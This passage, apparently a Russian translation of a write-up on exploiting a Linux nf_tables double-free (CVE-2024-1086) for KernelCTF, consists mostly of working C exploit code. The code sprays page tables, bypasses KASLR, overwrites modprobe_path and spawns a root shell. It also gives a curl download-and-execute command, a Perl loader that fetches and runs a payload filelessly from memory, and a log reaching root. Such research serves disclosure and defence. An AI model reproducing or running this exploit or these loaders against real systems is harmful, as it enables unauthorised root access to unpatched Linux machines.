static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers

static int sendto_ipv4_udp_server_sockfd;

void recv_ipv4_udp(int content_len)
{
PRINTF_VERBOSE("[*] doing udp recv...\n");
recv(sendto_ipv4_udp_server_sockfd, intermed_buf, content_len, 0);

PRINTF_VERBOSE("[*] udp packet preview: %02hhx\n", intermed_buf[0]);
}
Копировать
Кодовый блок 5.1.2.3.1: recv_ipv4_udp()функция эксплойта, написанная на C, которая абстрагирует код сокета при получении пакета UDP.

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (trigger doublefree)

// push N skbs to skb freelist
for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
{
PRINTF_VERBOSE("[*] freeing reserved udp packets to mask corrupted packet... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
recv_ipv4_udp(1);
}

// ... (rest of the exploit)
}
Копировать
Кодовый блок 5.1.2.3.2: Частичный код эксплойта, написанный на C, который освобождает ранее выделенные объекты sk_buff.

[HEADING=3]5.1.2.4. Распыление ПТЭ[/HEADING]
Чтобы распылить PTE, мы просто обращаемся к страницам виртуальной памяти в VMA, которые мы зарегистрировали ранее. Обратите внимание, что PTE содержит 512 страниц и, следовательно, 0x20'0000байтов. Следовательно, мы обращаемся один раз к каждому 0x20'0000байту в общей сложности CONFIG_PTE_SPRAY_AMOUNTраз.

Чтобы упростить этот процесс, я написал макрос, который преобразует индексы таблицы страниц в адреса виртуальной памяти. Т.е. mm->pgd[pud_nr][pmd_nr][pte_nr][page_nr]за страницу виртуальной памяти отвечает PTI_TO_VIRT(pud_nr, pmd_nr, pte_nr, page_nr, 0). Например, mm->pgd[1][0][0][0]относится к странице виртуальной памяти по адресу 0x80'0000'0000.

#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index, byte_index) \
((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) + _pud_index_to_virt((unsigned long long)(pmd_index)) + \
_pmd_index_to_virt((unsigned long long)(pte_index)) + _pte_index_to_virt((unsigned long long)(page_index)) + (unsigned long long)(byte_index)))


static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (spray-free skb's)

// spray-allocate the PTEs from PCP allocator order-0 list
printf("[*] spraying %d pte's...\n", CONFIG_PTE_SPRAY_AMOUNT);
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
*(char*)PTI_TO_VIRT(2, 0, i, 0, 0) = 0x41;
    
// ... (rest of the exploit)
}
Копировать
Кодовый блок 5.1.2.4.1: Частичный код эксплойта, написанный на C, который распыляет страницы PTE и определяет макрос для преобразования индексов таблицы страниц в виртуальные адреса.

[HEADING=3]5.1.2.5. Запуск двойного бесплатного бесплатного 2[/HEADING]
Ранее мы опустошили список PCP и выделили несколько PTE для записи страницы, которую мы освободили с помощью free 1. Теперь мы сделаем free 2, чтобы использовать запись списка свободных страниц для выделения перекрывающегося PMD.

Нам нужно использовать очень специфическую комбинацию параметров заголовка IP, чтобы обойти определенные проверки в коде очереди фрагментов IPv4. Для получения более подробной информации проверьте соответствующую справочную информацию и/или разделы о методах.

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (spray-alloc PTEs)

PRINTF_VERBOSE("[*] double-freeing skb...\n");

// cause double-free on skb from earlier
df_ip_header.ip_id = 0x1337;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
  
// skb1->len gets overwritten by s->random() in set_freepointer(). need to discard queue with tricks circumventing skb1->len
// causes end == offset in ip_frag_queue(). packet will be empty
// remains running until after both frees, a.k.a. does not require sleep
alloc_intermed_buf_hdr(0, &df_ip_header);

// ... (rest of the exploit)
}
Копировать
Кодовый блок 5.1.2.5.1: Частичный код эксплойта, написанный на C, который запускает 2-е освобождение из двойного освобождения и перемещается по определенной очереди IP-фрагментов.

[HEADING=3]5.1.2.6. Распределение PMD[/HEADING]
Теперь у нас есть вторая запись свободного списка на странице с двойным освобождением (обратите внимание, что она уже была выделена PTE, поэтому одновременно не существует двух записей свободного списка), мы можем назначить перекрывающийся PMD этой странице. Это невероятно сложно.

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (free 2 of skb)

// allocate overlapping PMD page (overlaps with PTE)
*(unsigned long long*)_pmd_area = 0xCAFEBABE;

// ... (rest of the exploit)
}
Копировать
Кодовый блок 5.1.2.6.1: Частичный код эксплойта, написанный на C, который выделяет перекрывающуюся страницу PMD путем записи на страницу пользовательской области.

[HEADING=3]5.1.2.7. Нахождение перекрывающихся PTE[/HEADING]
Теперь у нас где-то есть перекрывающиеся ПМД и ПТЭ, нам нужно выяснить, какой из напыленных ПТЭ является перекрывающимся. Это также очень простая процедура, поскольку она включает проверку того, в какой из областей PTE есть запись PTE, принадлежащая области PMD. По сути, это эквивалентно проверке того, не является ли значение исходным значением, указывающим на то, что страница была перезаписана.

Если мы хотим выполнить проверку работоспособности вручную, мы также печатаем пользователю физический адрес 0x0. Обычно он принадлежит устройствам MMIO, но обычно выглядит одинаково.

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (allocate the overlapping PMD page)

printf("[*] checking %d sprayed pte's for overlap...\n", CONFIG_PTE_SPRAY_AMOUNT);

// find overlapped PTE area
pte_area = NULL;
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
{
unsigned long long *test_target_addr = PTI_TO_VIRT(2, 0, i, 0, 0);

// pte entry pte[0] should be the PFN+flags for &_pmd_area
// if this is the double allocated PTE, the value is PFN+flags, not 0x41
if (*test_target_addr != 0x41)
{
printf("[+] confirmed double alloc PMD/PTE\n");
PRINTF_VERBOSE("    - PTE area index: %lld\n", i);
PRINTF_VERBOSE("    - PTE area (write target address/page): %016llx (new)\n", *test_target_addr);
pte_area = test_target_addr;
}
}

if (pte_area == NULL)
{
printf("[-] failed to detect overwritten pte: is more PTE spray needed? pmd: %016llx\n", *(unsigned long long*)_pmd_area);

return;
}

// set new pte value for sanity check
*pte_area = 0x0 | 0x8000000000000867;

flush_tlb(_pmd_area, 0x400000);
PRINTF_VERBOSE("    - PMD area (read target value/page): %016llx (new)\n", *(unsigned long long*)_pmd_area);

// (rest of the exploit)
}
Копировать
Кодовый блок 5.1.2.7.1: Частичный код эксплойта, написанный на C, который выделяет перекрывающуюся страницу PMD путем записи на страницу пользовательской области.

[HEADING=3]5.1.3. Сканирование физической памяти[/HEADING]
После того, как мы настроили двойное выделение PUD+PMD, мы можем использовать истинный потенциал Dirty Pagedirectory: атаки с зеркалированием пространства ядра (KSMA) полностью из области пользователя. Теперь мы можем записывать физические адреса как записи PTE по определенному адресу в области PTE, а затем «разыменовывать» его как обычную страницу памяти в области PMD.

В этом разделе мы получим физический базовый адрес ядра и затем будем использовать его для доступа к переменной ядра modprobe_path с привилегиями чтения/записи.

[HEADING=3]5.1.3.1 Поиск базового адреса ядра[/HEADING]
Здесь мы применяем упомянутый физический обход KASLR, чтобы найти физическую базу ядра. Если предположить, что устройство имеет физическую память 8 ГБ, это уменьшает объем памяти, необходимой для сканирования, с 8 ГБ до 2 МБ страниц. К счастью, нам нужно всего около 40 байт на страницу, чтобы решить, является ли это базой ядра, а это означает, что нам нужно прочитать 512 * 40 = 20,480 байт в худшем случае, чтобы найти базу ядра.

Чтобы определить, является ли страница базой ядра, я написал скрипты [URL='https://github.com/Notselwyn/get-sig']get-sig[/URL]Python, которые находят общие байты по одним и тем же адресам (сигнатуры), отфильтровывают сигнатуры, которые являются общими в физической памяти, и преобразуют их в оператор memcmp. Увеличивая количество образцов ядра, мы можем расширить поддержку других ядер (т.е. других компиляторов и старых версий). Вывод выглядит примерно так, как показано ниже.

static int is_kernel_base(unsigned char *addr)
{
// thanks python
  
// get-sig kernel_runtime_1
if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 &&
memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0)
return 1;

// get-sig kernel_runtime_2
if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 &&
memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 &&
memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 &&
memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 &&
memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 &&
memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 &&
memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 &&
memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 &&
memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 &&
memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 &&
memcmp(addr + 0x78, "\xff\xe0", 2) == 0)
return 1;


return 0;
}

Копировать
Кодовый блок 5.1.3.1.1: is_kernel_base()Функция эксплойта, написанная на C, сравнивает память с сигнатурами базы ядра.

Теперь пришло время сканирования. Мы заполняем страницу PTE (которая пересекается со страницей PMD, отвечающей за pmd_kernel_area) всеми 512 страницами, которые могут быть базовой страницей ядра. Если нам нужно было просканировать более 512 страниц, мы просто помещали код в цикл с увеличивающимся PFN (физическим адресом).

[QUOTE]
Еще раз повторю: это 512 страниц, потому что мы имеем дело с физической памятью 8 ГБ. Если бы это было 4ГиБ, это было бы 256 страниц, поскольку 4GiB / CONFIG_PHYSICAL_START = 256.
[/QUOTE]
Когда мы устанавливаем запись PTE на странице PTE ( pte_area[j] = (CONFIG_PHYSICAL_START * j) | 0x8000000000000867;), мы устанавливаем как PFN ( CONFIG_PHYSICAL_START * j), который можно рассматривать как физический адрес, так и соответствующие флаги ( 0x8000000000000867), такие как разрешения указанной страницы (т. е. чтение/запись).

Помните из раздела «Грязный каталог страниц», что из-за двойного освобождения: mm->pgd[0][1](PMD) == mm->pgd[0][2][0](PTE), и, следовательно, mm->pgd[0][1][x](PTE) == mm->pgd[0][2][0][x](страница пользовательской области) с x = 0->511. Это означает, что мы можем перезаписать 512 PTE в перекрывающемся PMD 512 страницами пользовательской области. Эти 512 PTE отвечают за еще 512 страниц пользовательской области, что означает, что мы можем установить 512 * 512 * 0x1000 = 0x4000'0000(1 ГиБ) памяти за раз.

Для удобства чтения я использую use только 2 PTE из этих 512 PTE и соответственно использую их как pmd_kernel_area(для сканирования баз ядра) и pmd_data_area(для сканирования содержимого памяти ядра).

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ... (setup dirty pagedirectory)

// range = (k * j) * CONFIG_PHYSICAL_ALIGN
// scan 512 pages (1 PTE worth) for kernel base each iteration
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
unsigned long long kernel_iteration_base;

kernel_iteration_base = k * (CONFIG_PHYSICAL_ALIGN * 512);

PRINTF_VERBOSE("[*] setting kernel physical address range to 0x%016llx - 0x%016llx\n", kernel_iteration_base, kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * 512);
for (unsigned short j=0; j < 512; j++)
pte_area[j] = (kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j) | 0x8000000000000867;

flush_tlb(_pmd_area, 0x400000);

// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
for (unsigned long long j=0; j < 512; j++)
{
unsigned long long phys_kernel_base;
      
// check for x64-gcc/clang signatures of kernel code segment at rest and at runtime
// - this "kernel base" is actually the assembly bytecode of start_64() and variants
// - it's different per architecture and per compiler (clang produces different signature than gcc)
// - this can be derived from the vmlinux file by checking the second segment, which starts likely at binary offset 0x200000
//   - i.e: xxd ./vmlinux | grep '00200000:'
          
phys_kernel_base = kernel_iteration_base + CONFIG_PHYSICAL_ALIGN * j;

PRINTF_VERBOSE("[*] phys kernel addr: %016llx, val: %016llx\n", phys_kernel_base, *(unsigned long long*)(pmd_kernel_area + j * 0x1000));

if (is_kernel_base(pmd_kernel_area + j * 0x1000) == 0)
continue;

// ... (rest of the exploit)
}
}

printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}

Копировать
Кодовый блок 5.1.3.1.2: часть privesc_flh_bypass_no_time()функции эксплойта, написанная на C, где она ищет физический базовый адрес ядра.

[HEADING=3]5.1.3.2. Нахождение modprobe_path[/HEADING]
Теперь мы нашли физический базовый адрес ядра, просканируем память за ним. Чтобы идентифицировать modprobe_path, мы сканируем CONFIG_MODPROBE_PATH( "/sbin/modprobe") с '\x00'заполнением до KMOD_PATH_LEN(256) байт. Мы можем проверить правильность этого адреса, перезаписав его и проверив, /proc/sys/kernel/modprobeотражает ли это изменение, поскольку это прямая ссылка на modprobe_path.

В качестве альтернативы можно включить статическое вспомогательное средство пользовательского режима. К счастью для нас, это тоже можно обойти. Вместо поиска "/sbin/modprobe"мы будем просто искать CONFIG_STATIC_USERMODEHELPER_PATH( "/sbin/usermode-helper") и т. д. К сожалению, не существует способа проверить, правильный ли это экземпляр, но совпадение должно быть только одно.

Затем, когда цель будет найдена, мы попытаемся ее перезаписать. Если это не удастся, мы просто продолжим сканирование на предмет другого целевого совпадения.

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...

// range = (k * j) * CONFIG_PHYSICAL_ALIGN
// scan 512 pages (1 PTE worth) for kernel base each iteration
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
unsigned long long kernel_iteration_base;

// ... (set 512 PTE entries in 1 PTE page)

// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
for (unsigned long long j=0; j < 512; j++)
{
unsigned long long phys_kernel_base;

// ... (find physical kernel base address)

// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
for (int i=0; i < 40; i++)
{
void *pmd_modprobe_addr;
unsigned long long phys_modprobe_addr;
unsigned long long modprobe_iteration_base;

modprobe_iteration_base = phys_kernel_base + i * 0x200000;

PRINTF_VERBOSE("[*] setting physical address range to 0x%016llx - 0x%016llx\n", modprobe_iteration_base, modprobe_iteration_base + 0x200000);

// set the pages for the other threads PUD data range to kernel memory
for (unsigned short j=0; j < 512; j++)
pte_area[512 + j] = (modprobe_iteration_base + 0x1000 * j) | 0x8000000000000867;

flush_tlb(_pmd_area, 0x400000);
              
#if CONFIG_STATIC_USERMODEHELPER
pmd_modprobe_addr = memmem(pmd_data_area, 0x200000, CONFIG_STATIC_USERMODEHELPER_PATH, strlen(CONFIG_STATIC_USERMODEHELPER_PATH));
#else
pmd_modprobe_addr = memmem_modprobe_path(pmd_data_area, 0x200000, modprobe_path, KMOD_PATH_LEN);
#endif
if (pmd_modprobe_addr == NULL)
continue;

#if CONFIG_LEET
breached_the_mainframe();
#endif

phys_modprobe_addr = modprobe_iteration_base + (pmd_modprobe_addr - pmd_data_area);
printf("[+] verified modprobe_path/usermodehelper_path: %016llx ('%s')...\n", phys_modprobe_addr, (char*)pmd_modprobe_addr);

// ... (rest of the exploit)
}
          
printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}

printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}

Копировать
Кодовый блок 5.1.3.2.1: часть privesc_flh_bypass_no_time()функции эксплойта, написанная на C, где она ищет физический адрес modprobe_path.

[HEADING=3]5.1.4. Перезапись modprobe_path[/HEADING]
Наконец: у нас есть доступ для чтения/записи к modprobe_path. К сожалению, осталась еще одна задача: получить «настоящий» PID эксплойта, чтобы мы могли его выполнить /proc/<pid>/fd(дескриптор файла, содержащий скрипт privesc). Проверка того, удалось ли это сделать, описана в следующем разделе.

[QUOTE]
Даже если бы мы использовали файлы на диске, эксплойту нужно было бы знать PID, поскольку нам нужно было бы использовать его, /proc/<pid>/cwdесли бы мы находились в пространстве имен mnt. Конечно, на практике есть способы обойти это, например, используя PID, указанный в предупреждающем сообщении ядра, но я хотел сделать этот эксплойт как можно более универсальным.
[/QUOTE]
Как вы можете видеть в приведенном ниже кодовом блоке, мы перезаписываем modprobe_path или статическую вспомогательную строку пользовательского режима на "/proc/<pid>/fd/<script_fd>", которая относится к сценарию повышения привилегий, упомянутому в следующих разделах.

Обратите внимание, что сценарий повышения привилегий (включенный в этот кодовый блок) использует PID текущего предположения PID для целей оболочки и для проверки правильности предположения.

#define MEMCPY_HOST_FD_PATH(buf, pid, fd) sprintf((buf), "/proc/%u/fd/%u", (pid), (fd));

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...

// run this script instead of /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);

// range = (k * j) * CONFIG_PHYSICAL_ALIGN
// scan 512 pages (1 PTE worth) for kernel base each iteration
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
for (unsigned long long j=0; j < 512; j++)
{
// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
for (int i=0; i < 40; i++)
{
void *pmd_modprobe_addr;
unsigned long long phys_modprobe_addr;
unsigned long long modprobe_iteration_base;

// ... (find modprobe_path)

PRINTF_VERBOSE("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);
              
printf("[*] overwriting path with PIDs in range 0->4194304...\n");
for (pid_t pid_guess=0; pid_guess < 4194304; pid_guess++)
{
int status_cnt;
char buf;

// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
MEMCPY_HOST_FD_PATH(pmd_modprobe_addr, pid_guess, modprobe_script_fd);

if (pid_guess % 50 == 0)
{
PRINTF_VERBOSE("[+] overwriting modprobe_path with different PIDs (%u-%u)...\n", pid_guess, pid_guess + 50);
PRINTF_VERBOSE("    - i.e. '%s' @ %p...\n", (char*)pmd_modprobe_addr, pmd_modprobe_addr);
PRINTF_VERBOSE("    - matching modprobe_path scan var: '%s' @ %p)...\n", modprobe_path, modprobe_path);
}
                      
lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 1>/proc/%u/fd/%u\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n", pid_guess, status_fd, pid_guess, shell_stdin_fd, pid_guess, shell_stdout_fd);

// ... (rest of the exploit)
}

printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");

return;
}
          
printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}

printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}

Копировать
Кодовый блок 5.1.4.1: часть privesc_flh_bypass_no_time()функции эксплойта, написанная на C, где она перезаписывает modprobe_pathпеременную ядра.

[HEADING=3]5.1.5. Удаление корневой оболочки[/HEADING]
Чтобы удалить корневую оболочку, мы запускаем недопустимый файл с помощью modprobe_trigger_memfd(), который использует перезаписанный modprobe_path. Новый modprobe_path указывает на скрипт ( /proc/<pid>/fd/<fd>) ниже. Он записывает 1в недавно выделенный дескриптор файла состояния, что позволяет эксплойту обнаружить успешную корневую оболочку и остановить выполнение. Затем он передает оболочку на консоль.

Чтобы повсеместно удалить корневую оболочку - не делая предположений о пространствах имен и сохраняя ее безфайловой - я «захватываю» файловые дескрипторы stdin и stdout из эксплойта и пересылаю их в корневую оболочку. Это работает на локальных машинах, а также на обратных оболочках. По сути - без функции перенаправления файлов - скрипт запускается:

#!/bin/sh
echo -n 1 > /proc/<exploit_pid>/fd/<status_fd>
/bin/sh 0</proc/<exploit_pid>/fd/0 1>/proc/<exploit_pid>/fd/1 2>&
Копировать
Кодовый блок 5.1.5.1: сценарий BASH, выполняемый от имени пользователя root, чтобы передать процент успеха и предоставить пользователю оболочку.

static void modprobe_trigger_memfd()
{
int fd;
char *argv_envp = NULL;

fd = memfd_create("", MFD_CLOEXEC);
write(fd, "\xff\xff\xff\xff", 4);

fexecve(fd, &argv_envp, &argv_envp);
  
close(fd);
}


static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
// ...

// run this script instead of /sbin/modprobe
int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
int status_fd = memfd_create("", 0);

// range = (k * j) * CONFIG_PHYSICAL_ALIGN
// scan 512 pages (1 PTE worth) for kernel base each iteration
for (int k=0; k < (CONFIG_PHYS_MEM / (CONFIG_PHYSICAL_ALIGN * 512)); k++)
{
// scan 1 page (instead of CONFIG_PHYSICAL_ALIGN) for kernel base each iteration
for (unsigned long long j=0; j < 512; j++)
{
// scan 40 * 0x200000 (2MiB) = 0x5000000 (80MiB) bytes from kernel base for modprobe path. if not found, just search for another kernel base
for (int i=0; i < 40; i++)
{
for (pid_t pid_guess=0; pid_guess < 65536; pid_guess++)
{
int status_cnt;
char buf;

// ... (overwrite modprobe_path)

// run custom modprobe file as root, by triggering it by executing file with unknown binfmt
// if the PID is incorrect, nothing will happen
modprobe_trigger_memfd();

// indicates correct PID (and root shell). stops further bruteforcing
status_cnt = read(status_fd, &buf, 1);
if (status_cnt == 0)
continue;

printf("[+] successfully breached the mainframe as real-PID %u\n", pid_guess);

return;
}

printf("[!] verified modprobe_path address does not work... CONFIG_STATIC_USERMODEHELPER enabled?\n");

return;
}
          
printf("[-] failed to find correct modprobe_path: trying to find new kernel base...\n");
}
}

printf("[!] failed to find kernel code segment... TLB flush fail?\n");
return;
}

Копировать
Кодовый блок 5.1.5.2: часть privesc_flh_bypass_no_time()функции эксплойта, написанная на C, где она запускает механизм modprobe_path.

[HEADING=3]5.1.6. Стабильность после эксплойта[/HEADING]
В результате наших махинаций с памятью страницы таблицы страниц для процесса эксплойта немного нестабильны. К счастью, это становится проблемой только тогда, когда процесс останавливается, поэтому мы можем решить ее, не останавливая его. :^)

Мы делаем это с помощью простого вызова Sleep(), который, к сожалению, переводит TTY пользователя в спящий режим, поскольку процесс находится в спящем режиме на переднем плане. Чтобы обойти это, мы заставляем эксплойт порождать дочерний процесс, который выполняет фактический эксплойт, и заставляем родительский завершать работу, когда это по смыслу предполагается.

Кроме того, мы регистрируем обработчик сигналов для дочерних элементов, SIGINTкоторый будет обрабатывать (помимо прочего) прерывания клавиатуры. Это заставляет наш дочерний процесс спать в фоновом режиме. Родительский процесс не затрагивается, поскольку обработчик устанавливается в дочернем процессе.

[QUOTE]
Обратите внимание, что мы не можем использовать wait(), поскольку дочерние процессы будут работать в фоновом режиме.
[/QUOTE]
int main()
{
int *exploit_status;

exploit_status = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*exploit_status = EXPLOIT_STAT_RUNNING;

// detaches program and makes it sleep in background when succeeding or failing
// - prevents kernel system instability when trying to free resources
if (fork() == 0)
{
int shell_stdin_fd;
int shell_stdout_fd;

signal(SIGINT, signal_handler_sleep);

// open copies of stdout etc which will not be redirected when stdout is redirected, but will be printed to user
shell_stdin_fd = dup(STDIN_FILENO);
shell_stdout_fd = dup(STDOUT_FILENO);

#if CONFIG_REDIRECT_LOG
setup_log("exp.log");
#endif

setup_env();
 
privesc_flh_bypass_no_time(shell_stdin_fd, shell_stdout_fd);

*exploit_status = EXPLOIT_STAT_FINISHED;

// prevent crashes due to invalid pagetables
sleep(9999);
}

// prevent premature exits
SPINLOCK(*exploit_status == EXPLOIT_STAT_RUNNING);

return 0;
}
Копировать
Кодовый блок 5.1.6.1: часть main()функции эксплойта, написанная на C, которая настраивает дочерние процессы и ожидает завершения эксплойта.

[HEADING=3]5.1.7. Запускаем это[/HEADING]
Для KernelCTF я запустил эксплойт, используя cd /tmp && curl https://secret.pwning.tech/<gid> -o ./exploit && chmod +x ./exploit && ./exploit. При этом используется доступный для записи /tmpкаталог на целевой машине. Это было до того, как я осознал, что предположительно могу выполнить эксплойт без файла с помощью Perl. Наконец, после нескольких месяцев работы, мы вознаграждены:

user@lts-6:/$ id
uid=1000(user) gid=1000(user) groups=1000(user)

user@lts-6:/$ curl https://cno.pwning.tech/aaaabbbb-cccc-dddd-eeee-ffffgggghhhh -o /tmp/exploit && cd /tmp && chmod +x exploit && ./exploit
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  161k  100  161k    0     0   823k      0 --:--:-- --:--:-- --:--:--  823k

[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[   13.592791] ------------[ cut here ]------------
[   13.594923] WARNING: CPU: 0 PID: 229 at mm/slab_common.c:985 free_large_kmalloc+0x3c/0x60
...
[   13.746361] ---[ end trace 0000000000000000 ]---
[   13.748375] object pointer: 0x000000003d8afe8c
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[+] found possible physical kernel base: 0000000014000000
[+] verified modprobe_path/usermodehelper_path: 0000000016877600 ('/sanitycheck')...
[*] overwriting path with PIDs in range 0->4194304...
[   14.409252] process 'exploit' launched '/dev/fd/13' with NULL argv: empty string added
/bin/sh: 0: can't access tty; job control turned off
root@lts-6:/# id
uid=0(root) gid=0(root) groups=0(root)

root@lts-6:/# cat /flag
kernelCTF{v1:mitigation-v3-6.1.55:1705665799:...}

root@lts-6:/#
Кодовый блок 5.1.7.1: журнал эксплойта для попытки использования KernelCTF, ведущей к корневой оболочке.

Фактически, пользователь мог скопировать/вставить PID из предупреждения ядра в стандартный ввод эксплойта при работе с удаленными экземплярами KernelCTF, но я хотел подобрать PID, чтобы мой эксплойт работал и в другой инфраструктуре.

Эксплойт поддерживает бесфайловое выполнение, если на цели установлен Perl. Это удобно, когда целевая файловая система доступна только для чтения. Это работает, /proc/<exploit_pid>/fd/<target_script>среди прочего, путем установки modprobe_path .

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  open(my $fh, ">&=".$fd);
  print $fh `curl https://example.com/exploit -s`;
  exec {"/proc/$$/fd/$fd"} "memfd";
'
Копировать
Кодовый блок 5.1.7.2: сценарий начальной загрузки эксплойта на Perl, который выполняет эксплойт без записи на диск (бесфайловое выполнение).

[HEADING=3]5.2. Исходный код[/HEADING]
Исходный код эксплойта можно найти в моем  [URL='https://github.com/Notselwyn/CVE-2024-1086']PoC-репозитории CVE-2024-1086[/URL] . Как и во всех моих проектах по разработке программного обеспечения, я также старался сосредоточиться на опыте разработчика. Следовательно, исходный код эксплойта был разделен на несколько файлов для разделения задач, и экспортируются (помещаются в файл .h) только те функции, которые должны быть вызваны в других файлах, в то время как все остальные функции помечены как статические. Это очень похоже на атрибуты public/private в языках ООП.

Кроме того, я решил сделать так, чтобы эксплойт вылетал/выходил из строя вместо того, чтобы правильно возвращать ошибки при возникновении ошибки. Я делаю это, поскольку возврат кодов ошибок не приносит никакой пользы, поскольку его цель — создание автономного двоичного файла, а не библиотеки. Следовательно, если по какой-либо причине кто-то решит встроить эти функции в библиотеку, они должны, семантически говоря, заставить функции вместо этого возвращать коды ошибок.

Если мне не хватает какой-либо важной семантики, напишите мне в Директ (используя контактную информацию внизу этого блога).

[HEADING=3]5.3 Компиляция эксплойта[/HEADING]
[HEADING=3]5.3.1. Зависимости[/HEADING]
Эксплойт имеет 2 зависимости: libnftnl-devи libmnl-dev. Libmnl анализирует и создает заголовки сетевых ссылок, в то время как libnftnl предположительно создает для пользователя объекты, подобные сетевому фильтру, такие как цепочки и таблицы, и сериализует их в сообщения сетевых ссылок для libmnl. Это мощная комбинация, которая позволяет пользователю делать практически все, что необходимо для эксплойта.

К сожалению, мне пришлось немного подправить эксплойт. В репозиторий эксплойтов добавлен файл .a (архив ar) для библиотек, скомпилированных с помощью musl-gcc, который по сути представляет собой .zip для объектных файлов, понятных компиляторам. Это позволяет статически связывать библиотеки с помощью musl-gcc. Мне пришлось скачать отдельную libmnl-devверсию, но она указана в разделе ниже. К счастью для конечного пользователя, это означает, что ему не нужно устанавливать библиотеки отдельно.

[HEADING=3]5.3.2. Makefile[/HEADING]
Чтобы статически скомпилировать эксплойт для KernelCTF, я использовал следующий make-файл:

SRC_FILES := src/main.c src/env.c src/net.c src/nftnl.c src/file.c
OUT_NAME = ./exploit

# use musl-gcc since statically linking glibc with gcc generated invalid opcodes for qemu
#   and dynamically linking raised glibc ABI versioning errors
CC = musl-gcc

# use custom headers with fixed versions in a musl-gcc compatible manner
# - ./include/libmnl: libmnl v1.0.5
# - ./include/libnftnl: libnftnl v1.2.6
# - ./include/linux-lts-6.1.72: linux v6.1.72
